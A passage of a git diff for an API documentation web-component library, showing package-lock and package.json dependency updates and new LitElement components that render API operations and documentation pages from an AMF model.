"sha512-BwMFXQNPna/4RsNPOgldVYn+FkEv+lc3wUiFzuaW6Z2DH/oSk1UrRD6SBqDgWQO4JU+aBq3PVuPD9Vz0j7mh0w==" + "integrity": "sha512-BwMFXQNPna/4RsNPOgldVYn+FkEv+lc3wUiFzuaW6Z2DH/oSk1UrRD6SBqDgWQO4JU+aBq3PVuPD9Vz0j7mh0w==", + "dev": true }, "wide-align": { "version": "1.1.3", @@ -12157,34 +11032,6 @@ "stack-trace": "0.0.x", "triple-beam": "^1.3.0", "winston-transport": "^4.4.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "winston-transport": { @@ -12197,18 +11044,6 @@ "triple-beam": "^1.2.0" }, "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "dev": true - }, "readable-stream": { "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", @@ -12274,52 +11109,19 @@ "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } } }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "write-stream": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/write-stream/-/write-stream-0.4.3.tgz", "integrity": "sha1-g8yMA0fQr2BXqThitOOuAd5cgcE=", + "dev": true, "requires": { "readable-stream": "~0.0.2" }, @@ -12327,7 +11129,8 @@ "readable-stream": { "version": "0.0.4", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-0.0.4.tgz", - "integrity": "sha1-8y124/uGM0SlSNeZIwBxc2ZbO40=" + "integrity": "sha1-8y124/uGM0SlSNeZIwBxc2ZbO40=", + "dev": true } } }, @@ -12346,7 +11149,8 @@ "xtend": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", - "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true }, "y18n": { "version": "5.0.8", @@ -12367,9 +11171,9 @@ "dev": true }, "yargs": { - "version": "17.1.1", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.1.1.tgz", - "integrity": "sha512-c2k48R0PwKIqKhPMWjeiF6y2xY/gPMUlro0sgxqXpbOIohWiLNXWslsootttv7E1e73QPAMQSg5FeySbVcpsPQ==", + "version": "17.2.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.2.1.tgz", + "integrity": "sha512-XfR8du6ua4K6uLGm5S6fA+FIJom/MdJcFNVY8geLlp2v8GYbOXD4EB1tPNZsRn4vBzKGMgb5DRZMeWuFc2GO8Q==", "dev": true, "requires": { "cliui": "^7.0.2", diff --git a/package.json b/package.json index 8c36c02..47df821 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@api-components/api-documentation", "description": "A main documentation view for AMF model", - "version": "6.0.5", + "version": "7.0.0-beta.1", "license": "Apache-2.0", "main": "index.js", "module": "index.js", @@ -25,40 +25,47 @@ "email": "arc@mulesoft.com" }, "dependencies": { + "@advanced-rest-client/arc-events": "^0.2.21", + "@advanced-rest-client/arc-icons": "^3.3.4", "@advanced-rest-client/events-target-mixin": "^3.2.4", + "@advanced-rest-client/highlight": "^1.1.1", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-collapse": "^0.1.2", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-item": "^1.1.2", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@anypoint-web-components/anypoint-radio-button": "^0.1.9", + "@anypoint-web-components/anypoint-tabs": "^0.1.19", "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-documentation-document": "^4.1.0", - "@api-components/api-endpoint-documentation": "^6.0.2", - "@api-components/api-method-documentation": "^5.2.5", - "@api-components/api-security-documentation": "^4.1.1", - "@api-components/api-server-selector": "^0.6.4", - "@api-components/api-summary": "^4.6.0", - "@api-components/api-type-documentation": "^4.1.2", + "@api-components/api-schema": "^0.1.1", + "@api-components/api-server-selector": "^0.7.1", + "@api-components/http-method-label": "^3.1.4", + "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.5.1", "lit-html": "^1.4.1" }, "devDependencies": { - "@advanced-rest-client/arc-demo-helper": "^2.2.6", - "@advanced-rest-client/oauth-authorization": "^5.0.5", + "@advanced-rest-client/arc-demo-helper": "^3.0.3", + "@advanced-rest-client/authorization": "^0.2.3", "@anypoint-web-components/anypoint-checkbox": "^1.2.2", "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-styles": "^1.0.2", "@api-components/api-model-generator": "^0.2.14", - "@api-components/api-navigation": "^4.3.1", - "@api-components/api-request": "^0.2.1", - "@commitlint/cli": "^12.1.4", - "@commitlint/config-conventional": "^12.1.4", + "@api-components/api-navigation": "^4.3.2", + "@api-components/api-request": "^0.3.0-beta.1", + "@commitlint/cli": "^13.1.0", + "@commitlint/config-conventional": "^13.1.0", "@open-wc/eslint-config": "^4.3.0", "@open-wc/testing": "^2.5.33", - "@web/dev-server": "^0.1.22", - "@web/test-runner": "^0.13.17", + "@web/dev-server": "^0.1.24", + "@web/test-runner": "^0.13.18", "@web/test-runner-playwright": "^0.8.8", "eslint": "^7.32.0", "eslint-config-prettier": "^8.3.0", "husky": "^6.0.0", "lint-staged": "^11.1.2", - "sinon": "^10.0.0", - "typescript": "^4.4.2", + "sinon": "^11.1.2", + "typescript": "^4.4.3", "typescript-lit-html-plugin": "^0.9.0", "uglify-js": "^3.14.2" }, @@ -72,7 +79,7 @@ "test": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium firefox webkit", "test:watch": "web-test-runner test/**/*.test.js --node-resolve --watch --playwright --browsers chromium", "gen:wc": "wca analyze \"*.js\" --outFile custom-elements.json", - "prepare": "node demo/prepare.js && node demo/model.js" + "prepare": "node demo/model.mjs" }, "eslintConfig": { "extends": [ diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts new file mode 100644 index 0000000..c0dff90 --- /dev/null +++ b/src/elements/ApiDocumentationBase.d.ts @@ -0,0 +1,84 @@ +/* eslint-disable class-methods-use-this */ +import { LitElement, TemplateResult } from 'lit-element'; +import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter } from '@api-components/amf-helper-mixin'; + +export declare const sectionToggleClickHandler: unique symbol; +export declare const queryDebounce: unique symbol; +export declare const debounceValue: unique symbol; +export declare const domainIdValue: unique symbol; +export declare const serializerValue: unique symbol; +export declare const domainModelValue: unique symbol; +export declare const sectionToggleTemplate: unique symbol; +export declare const paramsSectionTemplate: unique symbol; +export declare const schemaItemTemplate: unique symbol; +export declare const descriptionTemplate: unique symbol; + +/** + * A base class for the documentation components with common templates and functions. + */ +export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { + /** + * The domain id of the object to render. + * @attribute + */ + domainId: string; + /** + * Enabled compatibility with the Anypoint platform. + * @attribute + */ + anypoint: boolean; + /** + * The timeout after which the `queryGraph()` function is called + * in the debouncer. + */ + queryDebouncerTimeout: number; + [serializerValue]: AmfSerializer; + + /** + * The domain object read from the AMF graph model. + */ + domainModel: DomainElement|undefined; + [domainModelValue]: DomainElement|undefined; + + constructor(); + + connectedCallback(): void; + + /** + * Calls the `queryGraph()` function in a debouncer. + */ + [queryDebounce](): void; + + /** + * The main function to use to process the AMF model. + * To be implemented by the child classes. + */ + processGraph(): Promise; + + /** + * A handler for the section toggle button click. + */ + [sectionToggleClickHandler](e: Event): void; + + /** + * @return The template for the section toggle button + */ + [sectionToggleTemplate](ctrlProperty: string): TemplateResult; + /** + * @param label The section label. + * @param openedProperty The name of the element property to be toggled when interacting with the toggle button. + * @param content The content to render. + * @returns The template for a toggle section with a content. + */ + [paramsSectionTemplate](label: string, openedProperty: string, content: TemplateResult | TemplateResult[]): TemplateResult; + /** + * @param model The parameter to render. + * @return The template for the schema item document + */ + [schemaItemTemplate](model: ApiParameter): TemplateResult; + /** + * @param description The description to render. + * @returns The template for the markdown description. + */ + [descriptionTemplate](description: string): TemplateResult|string; +} diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js new file mode 100644 index 0000000..272b360 --- /dev/null +++ b/src/elements/ApiDocumentationBase.js @@ -0,0 +1,217 @@ +/* eslint-disable class-methods-use-this */ +import { LitElement, html } from 'lit-element'; +import { classMap } from 'lit-html/directives/class-map.js'; +import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin'; +import '@anypoint-web-components/anypoint-button/anypoint-button.js'; +import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ + +export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler'); +export const processDebounce = Symbol('queryDebounce'); +export const debounceValue = Symbol('debounceValue'); +export const domainIdValue = Symbol('domainIdValue'); +export const domainModelValue = Symbol('domainModelValue'); +export const serializerValue = Symbol('domainIdValue'); +export const descriptionTemplate = Symbol('descriptionTemplate'); +export const sectionToggleTemplate = Symbol('sectionToggleTemplate'); +export const paramsSectionTemplate = Symbol('paramsSectionTemplate'); +export const schemaItemTemplate = Symbol('schemaItemTemplate'); + +/** + * A base class for the documentation components with common templates and functions. + */ +export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { + /** + * @returns {string|undefined} The domain id of the object to render. + */ + get domainId() { + return this[domainIdValue]; + } + + /** + * @returns {string|undefined} The domain id of the object to render. + */ + set domainId(value) { + const old = this[domainIdValue]; + if (old === value) { + return; + } + this[domainIdValue] = value; + this.requestUpdate('domainId', old); + if (value) { + this[processDebounce](); + } + } + + /** + * @returns {DomainElement|undefined} The domain object read from the AMF graph model. + */ + get domainModel() { + return this[domainModelValue]; + } + + /** + * @returns {DomainElement|undefined} The domain object read from the AMF graph model. + */ + set domainModel(value) { + const old = this[domainModelValue]; + if (old === value) { + return; + } + this[domainModelValue] = value; + this.requestUpdate('domainModel', old); + if (value) { + this[processDebounce](); + } + } + + static get properties() { + return { + /** + * The domain id of the object to render. + */ + domainId: { type: String, reflect: true }, + /** + * Enabled compatibility with the Anypoint platform. + */ + anypoint: { type: Boolean, reflect: true }, + }; + } + + constructor() { + super(); + /** + * The timeout after which the `queryGraph()` function is called + * in the debouncer. + */ + this.queryDebouncerTimeout = 2; + /** @type {boolean} */ + this.anypoint = undefined; + this[serializerValue] = new AmfSerializer(); + } + + /** + * @param {AmfDocument} amf + */ + __amfChanged(amf) { + this[serializerValue].amf = amf; + this[processDebounce](); + } + + connectedCallback() { + super.connectedCallback(); + if (this.domainId) { + this[processDebounce](); + } + } + + /** + * Calls the `queryGraph()` function in a debouncer. + */ + [processDebounce]() { + if (this[debounceValue]) { + clearTimeout(this[debounceValue]); + } + this[debounceValue] = setTimeout(() => { + this[debounceValue] = undefined; + this.processGraph(); + }, this.queryDebouncerTimeout); + } + + /** + * The main function to use to process the AMF model. + * To be implemented by the child classes. + */ + processGraph() { + // ... + } + + /** + * A handler for the section toggle button click. + * @param {Event} e + */ + [sectionToggleClickHandler](e) { + const button = /** @type HTMLElement */ (e.currentTarget); + const { ctrlProperty } = button.dataset; + if (!ctrlProperty) { + return; + } + this[ctrlProperty] = !this[ctrlProperty]; + } + + /** + * @param {string} ctrlProperty + * @return {TemplateResult|string} The template for the section toggle button + */ + [sectionToggleTemplate](ctrlProperty) { + const label = this[ctrlProperty] ? 'Hide' : 'Show'; + const classes = { + 'section-toggle': true, + opened: this[ctrlProperty], + }; + return html` + + ${label} + + `; + } + + /** + * @param {string} label The section label. + * @param {string} openedProperty The name of the element property to be toggled when interacting with the toggle button. + * @param {TemplateResult|TemplateResult[]} content The content to render. + * @returns {TemplateResult} The template for a toggle section with a content. + */ + [paramsSectionTemplate](label, openedProperty, content) { + const opened = this[openedProperty]; + return html` +
+
+ ${label} + ${this[sectionToggleTemplate](openedProperty)} +
+ + ${content} + +
+ `; + } + + /** + * @param {ApiParameter} model The parameter to render. + * @return {TemplateResult} The template for the schema item document + */ + [schemaItemTemplate](model) { + return html` + + `; + } + + /** + * @param {string=} description The description to render. + * @returns {TemplateResult|string} The template for the markdown description. + */ + [descriptionTemplate](description) { + if (!description) { + return ''; + } + return html` +
+ +
+
+
`; + } +} diff --git a/src/elements/ApiDocumentationDocumentElement.d.ts b/src/elements/ApiDocumentationDocumentElement.d.ts new file mode 100644 index 0000000..3a5a320 --- /dev/null +++ b/src/elements/ApiDocumentationDocumentElement.d.ts @@ -0,0 +1,31 @@ +import { TemplateResult } from 'lit-element'; +import { ApiDocumentation, CreativeWork } from '@api-components/amf-helper-mixin'; +import { ApiDocumentationBase } from './ApiDocumentationBase'; + +export const documentationValue: unique symbol; +export const titleTemplate: unique symbol; +export const setModel: unique symbol; + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + */ +export default class ApiDocumentationDocumentElement extends ApiDocumentationBase { + [documentationValue]: ApiDocumentation; + constructor(); + domainModel: CreativeWork; + + /** + * Queries the graph store for the API Documentation data. + */ + processGraph(): Promise; + + [setModel](model: CreativeWork): void; + + render(): TemplateResult; + + /** + * @returns The template for the Documentation title. + */ + [titleTemplate](): TemplateResult; +} diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js new file mode 100644 index 0000000..f3eac04 --- /dev/null +++ b/src/elements/ApiDocumentationDocumentElement.js @@ -0,0 +1,98 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { Styles as HttpStyles } from '@api-components/http-method-label'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import elementStyles from './styles/ApiDocumentationDocument.js'; +import commonStyles from './styles/Common.js'; +import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ + +export const documentationValue = Symbol('documentationValue'); +export const titleTemplate = Symbol('titleTemplate'); +export const setModel = Symbol('setModel'); + +/** + * A web component that renders the documentation page for an API documentation (like in RAML documentations) built from + * the AMF graph model. + */ +export default class ApiDocumentationDocumentElement extends ApiDocumentationBase { + static get styles() { + return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles]; + } + + /** + * @returns {ApiDocumentation|undefined} + */ + get model() { + return this[documentationValue]; + } + + constructor() { + super(); + /** @type {ApiDocumentation} */ + this[documentationValue] = undefined; + /** @type {CreativeWork} */ + this.domainModel = undefined; + } + + /** + * Queries the graph store for the API Documentation data. + * @returns {Promise} + */ + async processGraph() { + const { domainId, domainModel, amf } = this; + if (domainModel) { + this[setModel](domainModel); + return; + } + if (!domainId) { + this[setModel](); + return; + } + const webApi = this._computeApi(amf); + const model = this._computeDocument(webApi, domainId); + this[setModel](model); + } + + /** + * @param {CreativeWork=} model + */ + [setModel](model) { + if (model) { + this[documentationValue] = this[serializerValue].documentation(model); + } else { + this[documentationValue] = undefined; + } + this.requestUpdate(); + } + + render() { + if (!this[documentationValue]) { + return html``; + } + return html` + ${this[titleTemplate]()} + ${this[descriptionTemplate](this[documentationValue].description)} + `; + } + + /** + * @returns {TemplateResult} The template for the Documentation title. + */ + [titleTemplate]() { + const docs = this[documentationValue]; + const { title } = docs; + const label = title || 'Unnamed document'; + return html` +
+
+ ${label} +
+
+ `; + } +} diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js new file mode 100644 index 0000000..883d120 --- /dev/null +++ b/src/elements/ApiOperationDocumentElement.js @@ -0,0 +1,478 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { classMap } from 'lit-html/directives/class-map.js'; +import { Styles as HttpStyles } from '@api-components/http-method-label'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import elementStyles from './styles/ApiOperation.js'; +import commonStyles from './styles/Common.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + descriptionTemplate, + serializerValue, +} from './ApiDocumentationBase.js'; +import { tablePropertyTemplate } from './SchemaCommonTemplates.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import '../../api-request-document.js'; +import '../../api-response-document.js'; +import '../../api-security-requirement-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ + +export const queryEndpoint = Symbol('queryEndpoint'); +export const queryServers = Symbol('queryServers'); +export const queryResponses = Symbol('queryResponses'); +export const operationValue = Symbol('operationValue'); +export const endpointValue = Symbol('endpointValue'); +export const serversValue = Symbol('serversValue'); +export const serverIdValue = Symbol('serverIdValue'); +export const urlValue = Symbol('urlValue'); +export const responsesValue = Symbol('responsesValue'); +export const computeUrlValue = Symbol('computeUrlValue'); +export const preselectResponse = Symbol('preselectResponse'); +export const titleTemplate = Symbol('titleTemplate'); +export const urlTemplate = Symbol('urlTemplate'); +export const requestTemplate = Symbol('requestTemplate'); +export const responseTemplate = Symbol('responseTemplate'); +export const responseTabsTemplate = Symbol('responseTabsTemplate'); +export const responseContentTemplate = Symbol('responseContentTemplate'); +export const statusCodeHandler = Symbol('statusCodeHandler'); +export const securitySectionTemplate = Symbol('securitySectionTemplate'); +export const deprecatedTemplate = Symbol('deprecatedTemplate'); +export const metaDataTemplate = Symbol('metaDataTemplate'); + +/** + * A web component that renders the documentation page for an API operation built from + * the AMF graph model. + */ +export default class ApiOperationDocumentElement extends ApiDocumentationBase { + static get styles() { + return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles, schemaStyles]; + } + + /** + * @returns {string} + */ + get serverId() { + return this[serverIdValue]; + } + + /** + * @param {string} value + */ + set serverId(value) { + const old = this[serverIdValue]; + if (old === value) { + return; + } + this[serverIdValue] = value; + this[computeUrlValue](); + } + + /** + * @returns {ApiOperation|undefined} + */ + get operation() { + return this[operationValue]; + } + + /** + * @param {ApiOperation} value + */ + set operation(value) { + const old = this[operationValue]; + if (old === value) { + return; + } + this[operationValue] = value; + this.processGraph(); + } + + /** + * @returns {ApiEndPoint|undefined} + */ + get endpoint() { + return this[endpointValue]; + } + + /** + * @param {ApiEndPoint} value + */ + set endpoint(value) { + const old = this[endpointValue]; + if (old === value) { + return; + } + this[endpointValue] = value; + this[computeUrlValue](); + this.requestUpdate(); + } + + static get properties() { + return { + /** + * The id of the currently selected server to use to construct the URL. + * If not set a first server in the API servers array is used. + */ + serverId: { type: String, reflect: true }, + /** + * When set it opens the response section + */ + responsesOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the security section + */ + securityOpened: { type: Boolean, reflect: true }, + /** + * The selected status code in the responses section. + */ + selectedStatus: { type: String }, + }; + } + + constructor() { + super(); + /** + * @type {ApiOperation} + */ + this[operationValue] = undefined; + /** + * @type {ApiServer[]} + */ + this[serversValue] = undefined; + /** + * @type {ApiEndPoint} + */ + this[endpointValue] = undefined; + /** + * @type {string} + */ + this[urlValue] = undefined; + /** + * @type {ApiResponse[]} + */ + this[responsesValue] = undefined; + /** @type {string} */ + this.selectedStatus = undefined; + /** @type {boolean} */ + this.responsesOpened = undefined; + /** @type {boolean} */ + this.securityOpened = undefined; + /** @type {Operation} */ + this.domainModel = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId, amf } = this; + if (domainModel) { + this[operationValue] = this[serializerValue].operation(domainModel); + } else if (domainId && amf) { + const webApi = this._computeApi(amf); + const model = this._computeMethodModel(webApi, domainId); + this[operationValue] = this[serializerValue].operation(model); + } + await this[queryEndpoint](); + await this[queryServers](); + await this[queryResponses](); + this[preselectResponse](); + this[computeUrlValue](); + await this.requestUpdate(); + } + + /** + * Queries for the API operation's endpoint data. + */ + async [queryEndpoint]() { + const { domainId, amf } = this; + this[endpointValue] = undefined; + if (!domainId || !amf) { + return; + } + const wa = this._computeApi(amf); + if (!wa) { + return; + } + const model = this._computeMethodEndpoint(wa, domainId); + if (!model) { + return; + } + this[endpointValue] = this[serializerValue].endPoint(model); + } + + /** + * Queries for the current servers value. + */ + async [queryServers]() { + this[serversValue] = undefined; + const { domainId } = this; + const endpointId = this[endpointValue] && this[endpointValue].id; + const servers = this._getServers({ + endpointId, + methodId: domainId, + }); + if (Array.isArray(servers) && servers.length) { + this[serversValue] = servers.map(server => this[serializerValue].server(server)); + } + } + + /** + * Queries for the responses data of the current operation. + */ + async [queryResponses]() { + this[responsesValue] = undefined; + const { operation } = this; + if (!operation) { + return; + } + const { responses=[] } = operation; + if (!responses.length) { + return; + } + this[responsesValue] = responses; + } + + /** + * Updates the `selectedStatus` if not selected or the current selection doesn't + * exists in the current list of responses. + */ + [preselectResponse]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return; + } + const { selectedStatus } = this; + if (!selectedStatus) { + this.selectedStatus = responses[0].statusCode; + return; + } + const selected = responses.find((item) => item.statusCode === selectedStatus); + if (selected) { + return; + } + this.selectedStatus = responses[0].statusCode; + } + + /** + * Computes the URL value for the current serves, selected server, and endpoint's path. + */ + [computeUrlValue]() { + const servers = this[serversValue]; + const endpoint = this[endpointValue]; + const serverId = this[serverIdValue]; + let result = ''; + let server; + if (Array.isArray(servers) && servers.length) { + if (serverId) { + server = servers.find((item) => item.id === serverId); + } else { + [server] = servers; + } + } + if (server) { + result += server.url; + if (result.endsWith('/')) { + result = result.substr(0, result.length - 1); + } + } + if (endpoint) { + let { path='' } = endpoint; + if (path[0] !== '/') { + path = `/${path}`; + } + result += path; + } + if (!result) { + result = '(unknown path)'; + } + this[urlValue] = result; + } + + /** + * A handler for the status code tab selection. + * @param {Event} e + */ + [statusCodeHandler](e) { + const tabs = /** @type AnypointTabs */ (e.target); + this.selectedStatus = String(tabs.selected); + } + + render() { + if (!this[operationValue]) { + return html``; + } + return html` + ${this[titleTemplate]()} + ${this[deprecatedTemplate]()} + ${this[descriptionTemplate](this[operationValue].description)} + ${this[metaDataTemplate]()} + ${this[urlTemplate]()} + ${this[requestTemplate]()} + ${this[responseTemplate]()} + ${this[securitySectionTemplate]()} + `; + } + + /** + * @returns {TemplateResult} The template for the Operation title. + */ + [titleTemplate]() { + const operation = this[operationValue]; + const { name, method, deprecated, summary } = operation; + const label = summary || name || method; + const labelClasses = { + label: true, + deprecated, + }; + return html` +
+
+ ${label} +
+

API operation

+
+ `; + } + + /** + * @returns {TemplateResult[]|string} The template for the Operation meta information. + */ + [metaDataTemplate]() { + const operation = this[operationValue]; + const { operationId, } = operation; + const result = []; + if (operationId) { + result.push(tablePropertyTemplate('Operation ID', operationId)); + } + + if (result.length) { + return result; + } + return ''; + } + + /** + * @returns {TemplateResult|string} The template for the deprecated message. + */ + [deprecatedTemplate]() { + const operation = this[operationValue]; + const { deprecated } = operation; + if (!deprecated) { + return ''; + } + return html` +
+ + + This operation is marked as deprecated. + +
+ `; + } + + /** + * @returns {TemplateResult} The template for the operation's URL. + */ + [urlTemplate]() { + const url = this[urlValue]; + const operation = this[operationValue]; + const { method } = operation; + return html` +
+
${method}
+
${url}
+
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the operation's request documentation element. + */ + [requestTemplate]() { + const operation = this[operationValue]; + if (!operation || !operation.request) { + return ''; + } + return html` + + `; + } + + [responseTemplate]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return ''; + } + const content = html` + ${this[responseTabsTemplate](responses)} + ${this[responseContentTemplate](responses)} + `; + return this[paramsSectionTemplate]('Responses', 'responsesOpened', content); + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the responses selector. + */ + [responseTabsTemplate](responses) { + const { selectedStatus } = this; + const filtered = responses.filter((item) => !!item.statusCode); + return html` +
+ + ${filtered.map((item) => html`${item.statusCode}`)} + +
+
+ `; + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the currently selected response. + */ + [responseContentTemplate](responses) { + const { selectedStatus } = this; + const response = responses.find((item) => item.statusCode === selectedStatus); + if (!response) { + return html`
Select a response to render the documentation.
`; + } + return html` + + `; + } + + /** + * @returns {TemplateResult|string} The template for the security list section. + */ + [securitySectionTemplate]() { + const { operation } = this; + if (!operation || !Array.isArray(operation.security) || !operation.security.length) { + return ''; + } + const content = operation.security.map((model) => html``); + return this[paramsSectionTemplate]('Security', 'securityOpened', content); + } +} diff --git a/src/elements/ApiParameterDocumentElement.js b/src/elements/ApiParameterDocumentElement.js new file mode 100644 index 0000000..73e591d --- /dev/null +++ b/src/elements/ApiParameterDocumentElement.js @@ -0,0 +1,133 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiParameter.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import { readPropertyTypeLabel } from '../lib/Utils.js'; +import { paramNameTemplate, typeValueTemplate, detailsTemplate } from './SchemaCommonTemplates.js'; +import { ApiDocumentationBase, descriptionTemplate } from 